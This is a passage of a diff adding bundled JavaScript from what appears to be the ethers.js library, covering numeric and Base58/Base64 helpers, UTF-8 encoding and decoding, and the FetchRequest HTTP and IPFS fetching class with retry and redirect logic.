same as **bytes** are in Solidity + * (e.g. ``bytes16``). + */ +function zeroPadBytes(data, length) { + return zeroPad(data, length, false); +} + +/** + * Some mathematic operations. + * + * @_subsection: api/utils:Math Helpers [about-maths] + */ +const BN_0$a = BigInt(0); +const BN_1$5 = BigInt(1); +//const BN_Max256 = (BN_1 << BigInt(256)) - BN_1; +// IEEE 754 support 53-bits of mantissa +const maxValue = 0x1fffffffffffff; +/** + * Convert %%value%% from a twos-compliment representation of %%width%% + * bits to its value. + * + * If the highest bit is ``1``, the result will be negative. + */ +function fromTwos(_value, _width) { + const value = getUint(_value, "value"); + const width = BigInt(getNumber(_width, "width")); + assert((value >> width) === BN_0$a, "overflow", "NUMERIC_FAULT", { + operation: "fromTwos", fault: "overflow", value: _value + }); + // Top bit set; treat as a negative value + if (value >> (width - BN_1$5)) { + const mask = (BN_1$5 << width) - BN_1$5; + return -(((~value) & mask) + BN_1$5); + } + return value; +} +/** + * Convert %%value%% to a twos-compliment representation of + * %%width%% bits. + * + * The result will always be positive. + */ +function toTwos(_value, _width) { + let value = getBigInt(_value, "value"); + const width = BigInt(getNumber(_width, "width")); + const limit = (BN_1$5 << (width - BN_1$5)); + if (value < BN_0$a) { + value = -value; + assert(value <= limit, "too low", "NUMERIC_FAULT", { + operation: "toTwos", fault: "overflow", value: _value + }); + const mask = (BN_1$5 << width) - BN_1$5; + return ((~value) & mask) + BN_1$5; + } + else { + assert(value < limit, "too high", "NUMERIC_FAULT", { + operation: "toTwos", fault: "overflow", value: _value + }); + } + return value; +} +/** + * Mask %%value%% with a bitmask of %%bits%% ones. + */ +function mask(_value, _bits) { + const value = getUint(_value, "value"); + const bits = BigInt(getNumber(_bits, "bits")); + return value & ((BN_1$5 << bits) - BN_1$5); +} +/** + * Gets a BigInt from %%value%%. If it is an invalid value for + * a BigInt, then an ArgumentError will be thrown for %%name%%. + */ +function getBigInt(value, name) { + switch (typeof (value)) { + case "bigint": return value; + case "number": + assertArgument(Number.isInteger(value), "underflow", name || "value", value); + assertArgument(value >= -maxValue && value <= maxValue, "overflow", name || "value", value); + return BigInt(value); + case "string": + try { + if (value === "") { + throw new Error("empty string"); + } + if (value[0] === "-" && value[1] !== "-") { + return -BigInt(value.substring(1)); + } + return BigInt(value); + } + catch (e) { + assertArgument(false, `invalid BigNumberish string: ${e.message}`, name || "value", value); + } + } + assertArgument(false, "invalid BigNumberish value", name || "value", value); +} +/** + * Returns %%value%% as a bigint, validating it is valid as a bigint + * value and that it is positive. + */ +function getUint(value, name) { + const result = getBigInt(value, name); + assert(result >= BN_0$a, "unsigned value cannot be negative", "NUMERIC_FAULT", { + fault: "overflow", operation: "getUint", value + }); + return result; +} +const Nibbles$1 = "0123456789abcdef"; +/* + * Converts %%value%% to a BigInt. If %%value%% is a Uint8Array, it + * is treated as Big Endian data. + */ +function toBigInt(value) { + if (value instanceof Uint8Array) { + let result = "0x0"; + for (const v of value) { + result += Nibbles$1[v >> 4]; + result += Nibbles$1[v & 0x0f]; + } + return BigInt(result); + } + return getBigInt(value); +} +/** + * Gets a //number// from %%value%%. If it is an invalid value for + * a //number//, then an ArgumentError will be thrown for %%name%%. + */ +function getNumber(value, name) { + switch (typeof (value)) { + case "bigint": + assertArgument(value >= -maxValue && value <= maxValue, "overflow", name || "value", value); + return Number(value); + case "number": + assertArgument(Number.isInteger(value), "underflow", name || "value", value); + assertArgument(value >= -maxValue && value <= maxValue, "overflow", name || "value", value); + return value; + case "string": + try { + if (value === "") { + throw new Error("empty string"); + } + return getNumber(BigInt(value), name); + } + catch (e) { + assertArgument(false, `invalid numeric string: ${e.message}`, name || "value", value); + } + } + assertArgument(false, "invalid numeric value", name || "value", value); +} +/** + * Converts %%value%% to a number. If %%value%% is a Uint8Array, it + * is treated as Big Endian data. Throws if the value is not safe. + */ +function toNumber(value) { + return getNumber(toBigInt(value)); +} +/** + * Converts %%value%% to a Big Endian hexstring, optionally padded to + * %%width%% bytes. + */ +function toBeHex(_value, _width) { + const value = getUint(_value, "value"); + let result = value.toString(16); + if (_width == null) { + // Ensure the value is of even length + if (result.length % 2) { + result = "0" + result; + } + } + else { + const width = getNumber(_width, "width"); + assert(width * 2 >= result.length, `value exceeds width (${width} bytes)`, "NUMERIC_FAULT", { + operation: "toBeHex", + fault: "overflow", + value: _value + }); + // Pad the value to the required width + while (result.length < (width * 2)) { + result = "0" + result; + } + } + return "0x" + result; +} +/** + * Converts %%value%% to a Big Endian Uint8Array. + */ +function toBeArray(_value) { + const value = getUint(_value, "value"); + if (value === BN_0$a) { + return new Uint8Array([]); + } + let hex = value.toString(16); + if (hex.length % 2) { + hex = "0" + hex; + } + const result = new Uint8Array(hex.length / 2); + for (let i = 0; i < result.length; i++) { + const offset = i * 2; + result[i] = parseInt(hex.substring(offset, offset + 2), 16); + } + return result; +} +/** + * Returns a [[HexString]] for %%value%% safe to use as a //Quantity//. + * + * A //Quantity// does not have and leading 0 values unless the value is + * the literal value `0x0`. This is most commonly used for JSSON-RPC + * numeric values. + */ +function toQuantity(value) { + let result = hexlify(isBytesLike(value) ? value : toBeArray(value)).substring(2); + while (result.startsWith("0")) { + result = result.substring(1); + } + if (result === "") { + result = "0"; + } + return "0x" + result; +} + +/** + * The [Base58 Encoding](link-base58) scheme allows a **numeric** value + * to be encoded as a compact string using a radix of 58 using only + * alpha-numeric characters. Confusingly similar characters are omitted + * (i.e. ``"l0O"``). + * + * Note that Base58 encodes a **numeric** value, not arbitrary bytes, + * since any zero-bytes on the left would get removed. To mitigate this + * issue most schemes that use Base58 choose specific high-order values + * to ensure non-zero prefixes. + * + * @_subsection: api/utils:Base58 Encoding [about-base58] + */ +const Alphabet = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"; +let Lookup = null; +function getAlpha(letter) { + if (Lookup == null) { + Lookup = {}; + for (let i = 0; i < Alphabet.length; i++) { + Lookup[Alphabet[i]] = BigInt(i); + } + } + const result = Lookup[letter]; + assertArgument(result != null, `invalid base58 value`, "letter", letter); + return result; +} +const BN_0$9 = BigInt(0); +const BN_58 = BigInt(58); +/** + * Encode %%value%% as a Base58-encoded string. + */ +function encodeBase58(_value) { + const bytes = getBytes(_value); + let value = toBigInt(bytes); + let result = ""; + while (value) { + result = Alphabet[Number(value % BN_58)] + result; + value /= BN_58; + } + // Account for leading padding zeros + for (let i = 0; i < bytes.length; i++) { + if (bytes[i]) { + break; + } + result = Alphabet[0] + result; + } + return result; +} +/** + * Decode the Base58-encoded %%value%%. + */ +function decodeBase58(value) { + let result = BN_0$9; + for (let i = 0; i < value.length; i++) { + result *= BN_58; + result += getAlpha(value[i]); + } + return result; +} + +// utils/base64-browser +function decodeBase64(textData) { + textData = atob(textData); + const data = new Uint8Array(textData.length); + for (let i = 0; i < textData.length; i++) { + data[i] = textData.charCodeAt(i); + } + return getBytes(data); +} +function encodeBase64(_data) { + const data = getBytes(_data); + let textData = ""; + for (let i = 0; i < data.length; i++) { + textData += String.fromCharCode(data[i]); + } + return btoa(textData); +} + +/** + * Events allow for applications to use the observer pattern, which + * allows subscribing and publishing events, outside the normal + * execution paths. + * + * @_section api/utils/events:Events [about-events] + */ +/** + * When an [[EventEmitterable]] triggers a [[Listener]], the + * callback always ahas one additional argument passed, which is + * an **EventPayload**. + */ +class EventPayload { + /** + * The event filter. + */ + filter; + /** + * The **EventEmitterable**. + */ + emitter; + #listener; + /** + * Create a new **EventPayload** for %%emitter%% with + * the %%listener%% and for %%filter%%. + */ + constructor(emitter, listener, filter) { + this.#listener = listener; + defineProperties(this, { emitter, filter }); + } + /** + * Unregister the triggered listener for future events. + */ + async removeListener() { + if (this.#listener == null) { + return; + } + await this.emitter.off(this.filter, this.#listener); + } +} + +/** + * Using strings in Ethereum (or any security-basd system) requires + * additional care. These utilities attempt to mitigate some of the + * safety issues as well as provide the ability to recover and analyse + * strings. + * + * @_subsection api/utils:Strings and UTF-8 [about-strings] + */ +function errorFunc(reason, offset, bytes, output, badCodepoint) { + assertArgument(false, `invalid codepoint at offset ${offset}; ${reason}`, "bytes", bytes); +} +function ignoreFunc(reason, offset, bytes, output, badCodepoint) { + // If there is an invalid prefix (including stray continuation), skip any additional continuation bytes + if (reason === "BAD_PREFIX" || reason === "UNEXPECTED_CONTINUE") { + let i = 0; + for (let o = offset + 1; o < bytes.length; o++) { + if (bytes[o] >> 6 !== 0x02) { + break; + } + i++; + } + return i; + } + // This byte runs us past the end of the string, so just jump to the end + // (but the first byte was read already read and therefore skipped) + if (reason === "OVERRUN") { + return bytes.length - offset - 1; + } + // Nothing to skip + return 0; +} +function replaceFunc(reason, offset, bytes, output, badCodepoint) { + // Overlong representations are otherwise "valid" code points; just non-deistingtished + if (reason === "OVERLONG") { + assertArgument(typeof (badCodepoint) === "number", "invalid bad code point for replacement", "badCodepoint", badCodepoint); + output.push(badCodepoint); + return 0; + } + // Put the replacement character into the output + output.push(0xfffd); + // Otherwise, process as if ignoring errors + return ignoreFunc(reason, offset, bytes); +} +/** + * A handful of popular, built-in UTF-8 error handling strategies. + * + * **``"error"``** - throws on ANY illegal UTF-8 sequence or + * non-canonical (overlong) codepoints (this is the default) + * + * **``"ignore"``** - silently drops any illegal UTF-8 sequence + * and accepts non-canonical (overlong) codepoints + * + * **``"replace"``** - replace any illegal UTF-8 sequence with the + * UTF-8 replacement character (i.e. ``"\\ufffd"``) and accepts + * non-canonical (overlong) codepoints + * + * @returns: Record<"error" | "ignore" | "replace", Utf8ErrorFunc> + */ +const Utf8ErrorFuncs = Object.freeze({ + error: errorFunc, + ignore: ignoreFunc, + replace: replaceFunc +}); +// http://stackoverflow.com/questions/13356493/decode-utf-8-with-javascript#13691499 +function getUtf8CodePoints(_bytes, onError) { + if (onError == null) { + onError = Utf8ErrorFuncs.error; + } + const bytes = getBytes(_bytes, "bytes"); + const result = []; + let i = 0; + // Invalid bytes are ignored + while (i < bytes.length) { + const c = bytes[i++]; + // 0xxx xxxx + if (c >> 7 === 0) { + result.push(c); + continue; + } + // Multibyte; how many bytes left for this character? + let extraLength = null; + let overlongMask = null; + // 110x xxxx 10xx xxxx + if ((c & 0xe0) === 0xc0) { + extraLength = 1; + overlongMask = 0x7f; + // 1110 xxxx 10xx xxxx 10xx xxxx + } + else if ((c & 0xf0) === 0xe0) { + extraLength = 2; + overlongMask = 0x7ff; + // 1111 0xxx 10xx xxxx 10xx xxxx 10xx xxxx + } + else if ((c & 0xf8) === 0xf0) { + extraLength = 3; + overlongMask = 0xffff; + } + else { + if ((c & 0xc0) === 0x80) { + i += onError("UNEXPECTED_CONTINUE", i - 1, bytes, result); + } + else { + i += onError("BAD_PREFIX", i - 1, bytes, result); + } + continue; + } + // Do we have enough bytes in our data? + if (i - 1 + extraLength >= bytes.length) { + i += onError("OVERRUN", i - 1, bytes, result); + continue; + } + // Remove the length prefix from the char + let res = c & ((1 << (8 - extraLength - 1)) - 1); + for (let j = 0; j < extraLength; j++) { + let nextChar = bytes[i]; + // Invalid continuation byte + if ((nextChar & 0xc0) != 0x80) { + i += onError("MISSING_CONTINUE", i, bytes, result); + res = null; + break; + } + res = (res << 6) | (nextChar & 0x3f); + i++; + } + // See above loop for invalid continuation byte + if (res === null) { + continue; + } + // Maximum code point + if (res > 0x10ffff) { + i += onError("OUT_OF_RANGE", i - 1 - extraLength, bytes, result, res); + continue; + } + // Reserved for UTF-16 surrogate halves + if (res >= 0xd800 && res <= 0xdfff) { + i += onError("UTF16_SURROGATE", i - 1 - extraLength, bytes, result, res); + continue; + } + // Check for overlong sequences (more bytes than needed) + if (res <= overlongMask) { + i += onError("OVERLONG", i - 1 - extraLength, bytes, result, res); + continue; + } + result.push(res); + } + return result; +} +// http://stackoverflow.com/questions/18729405/how-to-convert-utf8-string-to-byte-array +/** + * Returns the UTF-8 byte representation of %%str%%. + * + * If %%form%% is specified, the string is normalized. + */ +function toUtf8Bytes(str, form) { + assertArgument(typeof (str) === "string", "invalid string value", "str", str); + if (form != null) { + assertNormalize(form); + str = str.normalize(form); + } + let result = []; + for (let i = 0; i < str.length; i++) { + const c = str.charCodeAt(i); + if (c < 0x80) { + result.push(c); + } + else if (c < 0x800) { + result.push((c >> 6) | 0xc0); + result.push((c & 0x3f) | 0x80); + } + else if ((c & 0xfc00) == 0xd800) { + i++; + const c2 = str.charCodeAt(i); + assertArgument(i < str.length && ((c2 & 0xfc00) === 0xdc00), "invalid surrogate pair", "str", str); + // Surrogate Pair + const pair = 0x10000 + ((c & 0x03ff) << 10) + (c2 & 0x03ff); + result.push((pair >> 18) | 0xf0); + result.push(((pair >> 12) & 0x3f) | 0x80); + result.push(((pair >> 6) & 0x3f) | 0x80); + result.push((pair & 0x3f) | 0x80); + } + else { + result.push((c >> 12) | 0xe0); + result.push(((c >> 6) & 0x3f) | 0x80); + result.push((c & 0x3f) | 0x80); + } + } + return new Uint8Array(result); +} +//export +function _toUtf8String(codePoints) { + return codePoints.map((codePoint) => { + if (codePoint <= 0xffff) { + return String.fromCharCode(codePoint); + } + codePoint -= 0x10000; + return String.fromCharCode((((codePoint >> 10) & 0x3ff) + 0xd800), ((codePoint & 0x3ff) + 0xdc00)); + }).join(""); +} +/** + * Returns the string represented by the UTF-8 data %%bytes%%. + * + * When %%onError%% function is specified, it is called on UTF-8 + * errors allowing recovery using the [[Utf8ErrorFunc]] API. + * (default: [error](Utf8ErrorFuncs)) + */ +function toUtf8String(bytes, onError) { + return _toUtf8String(getUtf8CodePoints(bytes, onError)); +} +/** + * Returns the UTF-8 code-points for %%str%%. + * + * If %%form%% is specified, the string is normalized. + */ +function toUtf8CodePoints(str, form) { + return getUtf8CodePoints(toUtf8Bytes(str, form)); +} + +function createGetUrl(options) { + async function getUrl(req, _signal) { + assert(_signal == null || !_signal.cancelled, "request cancelled before sending", "CANCELLED"); + const protocol = req.url.split(":")[0].toLowerCase(); + assert(protocol === "http" || protocol === "https", `unsupported protocol ${protocol}`, "UNSUPPORTED_OPERATION", { + info: { protocol }, + operation: "request" + }); + assert(protocol === "https" || !req.credentials || req.allowInsecureAuthentication, "insecure authorized connections unsupported", "UNSUPPORTED_OPERATION", { + operation: "request" + }); + let error = null; + const controller = new AbortController(); + const timer = setTimeout(() => { + error = makeError("request timeout", "TIMEOUT"); + controller.abort(); + }, req.timeout); + if (_signal) { + _signal.addListener(() => { + error = makeError("request cancelled", "CANCELLED"); + controller.abort(); + }); + } + const init = Object.assign({}, options, { + method: req.method, + headers: new Headers(Array.from(req)), + body: req.body || undefined, + signal: controller.signal + }); + let resp; + try { + resp = await fetch(req.url, init); + } + catch (_error) { + clearTimeout(timer); + if (error) { + throw error; + } + throw _error; + } + clearTimeout(timer); + const headers = {}; + resp.headers.forEach((value, key) => { + headers[key.toLowerCase()] = value; + }); + const respBody = await resp.arrayBuffer(); + const body = (respBody == null) ? null : new Uint8Array(respBody); + return { + statusCode: resp.status, + statusMessage: resp.statusText, + headers, body + }; + } + return getUrl; +} + +/** + * Fetching content from the web is environment-specific, so Ethers + * provides an abstraction that each environment can implement to provide + * this service. + * + * On [Node.js](link-node), the ``http`` and ``https`` libs are used to + * create a request object, register event listeners and process data + * and populate the [[FetchResponse]]. + * + * In a browser, the [DOM fetch](link-js-fetch) is used, and the resulting + * ``Promise`` is waited on to retrieve the payload. + * + * The [[FetchRequest]] is responsible for handling many common situations, + * such as redirects, server throttling, authentication, etc. + * + * It also handles common gateways, such as IPFS and data URIs. + * + * @_section api/utils/fetching:Fetching Web Content [about-fetch] + */ +const MAX_ATTEMPTS = 12; +const SLOT_INTERVAL = 250; +// The global FetchGetUrlFunc implementation. +let defaultGetUrlFunc = createGetUrl(); +const reData = new RegExp("^data:([^;:]*)?(;base64)?,(.*)$", "i"); +const reIpfs = new RegExp("^ipfs:/\/(ipfs/)?(.*)$", "i"); +// If locked, new Gateways cannot be added +let locked$5 = false; +// https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URLs +async function dataGatewayFunc(url, signal) { + try { + const match = url.match(reData); + if (!match) { + throw new Error("invalid data"); + } + return new FetchResponse(200, "OK", { + "content-type": (match[1] || "text/plain"), + }, (match[2] ? decodeBase64(match[3]) : unpercent(match[3]))); + } + catch (error) { + return new FetchResponse(599, "BAD REQUEST (invalid data: URI)", {}, null, new FetchRequest(url)); + } +} +/** + * Returns a [[FetchGatewayFunc]] for fetching content from a standard + * IPFS gateway hosted at %%baseUrl%%. + */ +function getIpfsGatewayFunc(baseUrl) { + async function gatewayIpfs(url, signal) { + try { + const match = url.match(reIpfs); + if (!match) { + throw new Error("invalid link"); + } + return new FetchRequest(`${baseUrl}${match[2]}`); + } + catch (error) { + return new FetchResponse(599, "BAD REQUEST (invalid IPFS URI)", {}, null, new FetchRequest(url)); + } + } + return gatewayIpfs; +} +const Gateways = { + "data": dataGatewayFunc, + "ipfs": getIpfsGatewayFunc("https:/\/gateway.ipfs.io/ipfs/") +}; +const fetchSignals = new WeakMap(); +/** + * @_ignore + */ +class FetchCancelSignal { + #listeners; + #cancelled; + constructor(request) { + this.#listeners = []; + this.#cancelled = false; + fetchSignals.set(request, () => { + if (this.#cancelled) { + return; + } + this.#cancelled = true; + for (const listener of this.#listeners) { + setTimeout(() => { listener(); }, 0); + } + this.#listeners = []; + }); + } + addListener(listener) { + assert(!this.#cancelled, "singal already cancelled", "UNSUPPORTED_OPERATION", { + operation: "fetchCancelSignal.addCancelListener" + }); + this.#listeners.push(listener); + } + get cancelled() { return this.#cancelled; } + checkSignal() { + assert(!this.cancelled, "cancelled", "CANCELLED", {}); + } +} +// Check the signal, throwing if it is cancelled +function checkSignal(signal) { + if (signal == null) { + throw new Error("missing signal; should not happen"); + } + signal.checkSignal(); + return signal; +} +/** + * Represents a request for a resource using a URI. + * + * By default, the supported schemes are ``HTTP``, ``HTTPS``, ``data:``, + * and ``IPFS:``. + * + * Additional schemes can be added globally using [[registerGateway]]. + * + * @example: + * req = new FetchRequest("https://www.ricmoo.com") + * resp = await req.send() + * resp.body.length + * //_result: + */ +class FetchRequest { + #allowInsecure; + #gzip; + #headers; + #method; + #timeout; + #url; + #body; + #bodyType; + #creds; + // Hooks + #preflight; + #process; + #retry; + #signal; + #throttle; + #getUrlFunc; + /** + * The fetch URL to request. + */ + get url() { return this.#url; } + set url(url) { + this.#url = String(url); + } + /** + * The fetch body, if any, to send as the request body. //(default: null)// + * + * When setting a body, the intrinsic ``Content-Type`` is automatically + * set and will be used if **not overridden** by setting a custom + * header. + * + * If %%body%% is null, the body is cleared (along with the + * intrinsic ``Content-Type``). + * + * If %%body%% is a string, the intrinsic ``Content-Type`` is set to + * ``text/plain``. + * + * If %%body%% is a Uint8Array, the intrinsic ``Content-Type`` is set to + * ``application/octet-stream``. + * + * If %%body%% is any other object, the intrinsic ``Content-Type`` is + * set to ``application/json``. + */ + get body() { + if (this.#body == null) { + return null; + } + return new Uint8Array(this.#body); + } + set body(body) { + if (body == null) { + this.#body = undefined; + this.#bodyType = undefined; + } + else if (typeof (body) === "string") { + this.#body = toUtf8Bytes(body); + this.#bodyType = "text/plain"; + } + else if (body instanceof Uint8Array) { + this.#body = body; + this.#bodyType = "application/octet-stream"; + } + else if (typeof (body) === "object") { + this.#body = toUtf8Bytes(JSON.stringify(body)); + this.#bodyType = "application/json"; + } + else { + throw new Error("invalid body"); + } + } + /** + * Returns true if the request has a body. + */ + hasBody() { + return (this.#body != null); + } + /** + * The HTTP method to use when requesting the URI. If no method + * has been explicitly set, then ``GET`` is used if the body is + * null and ``POST`` otherwise. + */ + get method() { + if (this.#method) { + return this.#method; + } + if (this.hasBody()) { + return "POST"; + } + return "GET"; + } + set method(method) { + if (method == null) { + method = ""; + } + this.#method = String(method).toUpperCase(); + } + /** + * The headers that will be used when requesting the URI. All + * keys are lower-case. + * + * This object is a copy, so any changes will **NOT** be reflected + * in the ``FetchRequest``. + * + * To set a header entry, use the ``setHeader`` method. + */ + get headers() { + const headers = Object.assign({}, this.#headers); + if (this.#creds) { + headers["authorization"] = `Basic ${encodeBase64(toUtf8Bytes(this.#creds))}`; + } + if (this.allowGzip) { + headers["accept-encoding"] = "gzip"; + } + if (headers["content-type"] == null && this.#bodyType) { + headers["content-type"] = this.#bodyType; + } + if (this.body) { + headers["content-length"] = String(this.body.length); + } + return headers; + } + /** + * Get the header for %%key%%, ignoring case. + */ + getHeader(key) { + return this.headers[key.toLowerCase()]; + } + /** + * Set the header for %%key%% to %%value%%. All values are coerced + * to a string. + */ + setHeader(key, value) { + this.#headers[String(key).toLowerCase()] = String(value); + } + /** + * Clear all headers, resetting all intrinsic headers. + */ + clearHeaders() { + this.#headers = {}; + } + [Symbol.iterator]() { + const headers = this.headers; + const keys = Object.keys(headers); + let index = 0; + return { + next: () => { + if (index < keys.length) { + const key = keys[index++]; + return { + value: [key, headers[key]], done: false + }; + } + return { value: undefined, done: true }; + } + }; + } + /** + * The value that will be sent for the ``Authorization`` header. + * + * To set the credentials, use the ``setCredentials`` method. + */ + get credentials() { + return this.#creds || null; + } + /** + * Sets an ``Authorization`` for %%username%% with %%password%%. + */ + setCredentials(username, password) { + assertArgument(!username.match(/:/), "invalid basic authentication username", "username", "[REDACTED]"); + this.#creds = `${username}:${password}`; + } + /** + * Enable and request gzip-encoded responses. The response will + * automatically be decompressed. //(default: true)// + */ + get allowGzip() { + return this.#gzip; + } + set allowGzip(value) { + this.#gzip = !!value; + } + /** + * Allow ``Authentication`` credentials to be sent over insecure + * channels. //(default: false)// + */ + get allowInsecureAuthentication() { + return !!this.#allowInsecure; + } + set allowInsecureAuthentication(value) { + this.#allowInsecure = !!value; + } + /** + * The timeout (in milliseconds) to wait for a complete response. + * //(default: 5 minutes)// + */ + get timeout() { return this.#timeout; } + set timeout(timeout) { + assertArgument(timeout >= 0, "timeout must be non-zero", "timeout", timeout); + this.#timeout = timeout; + } + /** + * This function is called prior to each request, for example + * during a redirection or retry in case of server throttling. + * + * This offers an opportunity to populate headers or update + * content before sending a request. + */ + get preflightFunc() { + return this.#preflight || null; + } + set preflightFunc(preflight) { + this.#preflight = preflight; + } + /** + * This function is called after each response, offering an + * opportunity to provide client-level throttling or updating + * response data. + * + * Any error thrown in this causes the ``send()`` to throw. + * + * To schedule a retry attempt (assuming the maximum retry limit + * has not been reached), use [[response.throwThrottleError]]. + */ + get processFunc() { + return this.#process || null; + } + set processFunc(process) { + this.#process = process; + } + /** + * This function is called on each retry attempt. + */ + get retryFunc() { + return this.#retry || null; + } + set retryFunc(retry) { + this.#retry = retry; + } + /** + * This function is called to fetch content from HTTP and + * HTTPS URLs and is platform specific (e.g. nodejs vs + * browsers). + * + * This is by default the currently registered global getUrl + * function, which can be changed using [[registerGetUrl]]. + * If this has been set, setting is to ``null`` will cause + * this FetchRequest (and any future clones) to revert back to + * using the currently registered global getUrl function. + * + * Setting this is generally not necessary, but may be useful + * for developers that wish to intercept requests or to + * configurege a proxy or other agent. + */ + get getUrlFunc() { + return this.#getUrlFunc || defaultGetUrlFunc; + } + set getUrlFunc(value) { + this.#getUrlFunc = value; + } + /** + * Create a new FetchRequest instance with default values. + * + * Once created, each property may be set before issuing a + * ``.send()`` to make the request. + */ + constructor(url) { + this.#url = String(url); + this.#allowInsecure = false; + this.#gzip = true; + this.#headers = {}; + this.#method = ""; + this.#timeout = 300000; + this.#throttle = { + slotInterval: SLOT_INTERVAL, + maxAttempts: MAX_ATTEMPTS + }; + this.#getUrlFunc = null; + } + toString() { + return ``; + } + /** + * Update the throttle parameters used to determine maximum + * attempts and exponential-backoff properties. + */ + setThrottleParams(params) { + if (params.slotInterval != null) { + this.#throttle.slotInterval = params.slotInterval; + } + if (params.maxAttempts != null) { + this.#throttle.maxAttempts = params.maxAttempts; + } + } + async #send(attempt, expires, delay, _request, _response) { + if (attempt >= this.#throttle.maxAttempts) { + return _response.makeServerError("exceeded maximum retry limit"); + } + assert(getTime$2() <= expires, "timeout", "TIMEOUT", { + operation: "request.send", reason: "timeout", request: _request + }); + if (delay > 0) { + await wait(delay); + } + let req = this.clone(); + const scheme = (req.url.split(":")[0] || "").toLowerCase(); + // Process any Gateways + if (scheme in Gateways) { + const result = await Gateways[scheme](req.url, checkSignal(_request.#signal)); + if (result instanceof FetchResponse) { + let response = result; + if (this.processFunc) { + checkSignal(_request.#signal); + try { + response = await this.processFunc(req, response); + } + catch (error) { + // Something went wrong during processing; throw a 5xx server error + if (error.throttle == null || typeof (error.stall) !== "number") { + response.makeServerError("error in post-processing function", error).assertOk(); + } + // Ignore throttling + } + } + return response; + } + req = result; + } + // We have a preflight function; update the request + if (this.preflightFunc) { + req = await this.preflightFunc(req); + } + const resp = await this.getUrlFunc(req, checkSignal(_request.#signal)); + let response = new FetchResponse(resp.statusCode, resp.statusMessage, resp.headers, resp.body, _request); + if (response.statusCode === 301 || response.statusCode === 302) { + // Redirect + try { + const location = response.headers.location || ""; + return req.redirect(location).#send(attempt + 1, expires, 0, _request, response); + } + catch (error) { } + // Things won't get any better on another attempt; abort + return response; + } + else if (response.statusCode === 429) { + // Throttle + if (this.retryFunc == null || (await this.retryFunc(req, response, attempt))) { + const retryAfter = response.headers["retry-after"]; + let delay = this.#throttle.slotInterval * Math.trunc(Math.random() * Math.pow(2, attempt)); + if (typeof (retryAfter) === "string" && retryAfter.match(/^[1-9][0-9]*$/)) { + delay = parseInt(retryAfter); + } + return req.clone().#send(attempt + 1, expires, delay, _request, response); + } + } + if (this.processFunc) { + checkSignal(_request.#signal); + try { + response = await this.processFunc(req, response); + } + catch (error) { + // Something went wrong during processing; throw a 5xx server error + if (error.throttle == null || typeof (error.stall) !== "number") { + response.makeServerError("error in post-processing function", error).assertOk(); + } + // Throttle + let delay = this.#throttle.slotInterval * Math.trunc(Math.random() * Math.pow(2, attempt)); + if (error.stall >= 0) { + delay = error.stall; + } + return req.clone().#send(attempt + 1, expires, delay, _request, response); + } + } + return response; + } + /** + * Resolves to the response by sending the request. + */ + send() { + assert(this.#signal == null, "request already sent", "UNSUPPORTED_OPERATION", { operation: "fetchRequest.send" }); + this.#signal = new FetchCancelSignal(this); + return this.#send(0, getTime$2() + this.timeout, 0, this, new FetchResponse(0, "", {}, null, this)); + } + /** + * Cancels the inflight response, causing a ``CANCELLED`` + * error to be rejected from the [[send]]. + */ + cancel() { + assert(this.#signal != null, "request has not been sent", "UNSUPPORTED_OPERATION", { operation: "fetchRequest.cancel" }); + const signal = fetchSignals.get(this); + if (!signal) { + throw new Error("missing signal; should not happen"); + } + signal(); + } + /** + * Returns a new [[FetchRequest]] that represents the redirection + * to %%location%%. + */ + redirect(location) { + // Redirection; for now we only support absolute locations + const current = this.url.split(":")[0].toLowerCase(); + const target = location.split(":")[0].toLowerCase(); + // Don't allow redirecting: + // - non-GET requests + // - downgrading the security (e.g. https => http) + // - to non-HTTP (or non-HTTPS) protocols [this could be relaxed?] + assert(this.method === "GET" && (current !== "https" || target !== "http") && location.match(/^https?:/), `unsupported redirect`, "UNSUPPORTED_OPERATION", { + operation: `redirect(${this.method} ${JSON.stringify(this.url)} => ${JSON.stringify(location)})` + }); + // Create a copy of this request, with a new URL + const req = new FetchRequest(location); + req.method = "GET"; + req.allowGzip = this.allowGzip; + req.timeout = this.timeout; + req.#headers = Object.assign({}, this.#headers); + if (this.#body) { + req.#body = new Uint8Array(this.#body); + } + req.#bodyType = this.#bodyType; + // Do not forward credentials unless on the same domain; only absolute + //req.allowInsecure = false; + // paths are currently supported; may want a way to specify to forward? + //setStore(req.#props, "creds", getStore(this.#pros, "creds")); + return req; + } + /** + * Create a new copy of this request. + */ + clone() { + const clone = new FetchRequest(this.url); + // Preserve "default method" (i.e. null) + clone.#method = this.#method; + // Preserve "default body" with type, copying the Uint8Array is present + if (this.#body) { + clone.#body = this.#body; + } + clone.#bodyType = this.#bodyType; + // Preserve "default headers" + clone.#headers = Object.assign({}, this.#headers); + // Credentials is readonly, so we copy internally + clone.#creds = this.#creds; + if (this.allowGzip) { + clone.allowGzip = true; + } + clone.timeout = this.timeout; + if (this.allowInsecureAuthentication) { + clone.allowInsecureAuthentication = true; + } + clone.#preflight = this.#preflight; + clone.#process = this.#process; + clone.#retry = this.#retry; + clone.#throttle = Object.assign({}, this.#throttle); + clone.#getUrlFunc = this.#getUrlFunc; + return clone; + } + /** + * Locks all static configuration for gateways and FetchGetUrlFunc + * registration. + */ + static lockConfig() { + locked$5 = true; + } + /** + * Get the current Gateway function for %%scheme%%. + */ + static getGateway(scheme) { + return Gateways[scheme.toLowerCase()] || null; + } + /** + * Use the %%func%% when fetching URIs using %%scheme%%. + * + * This method affects all requests globally. + * + * If [[lockConfig]] has been called, no change is made and this + * throws. + */ + static registerGateway(scheme, func) { + scheme = scheme.toLowerCase(); + if (scheme === "http" || scheme === "https") { + throw new Error(`cannot intercept ${scheme}; use registerGetUrl`); + } + if (locked$5) { + throw new Error("gateways locked"); + } + Gateways[scheme] = func; + } + /** + * Use %%getUrl%% when fetching URIs over HTTP and HTTPS requests. + * + * This method affects all requests globally. + * + * If [[lockConfig]] has been called, no change is made and this + * throws. + */ + static registerGetUrl(getUrl) { + if (locked$5) { + throw new Error("gateways locked"); + } + defaultGetUrlFunc = getUrl; + } + /** + * Creates a getUrl function that fetches content from HTTP and + * HTTPS URLs. + * + * The available %%options%% are dependent on the platform + * implementation of the default getUrl function. + * + * This is not generally something that is needed, but is useful + * when trying to customize simple behaviour when fetching HTTP + * content. + */ + static createGetUrlFunc(options) { + return createGetUrl(options); + } + /** + * Creates a function that can "fetch" data URIs. + * + * Note that this is automatically done internally to support + * data URIs, so it is not necessary to register it. + * + * This is not generally something that is needed, but may + * be useful in a wrapper to perfom custom data URI functionality. + */ + static createDataGateway() { + return dataGatewayFunc; + } + /** + * 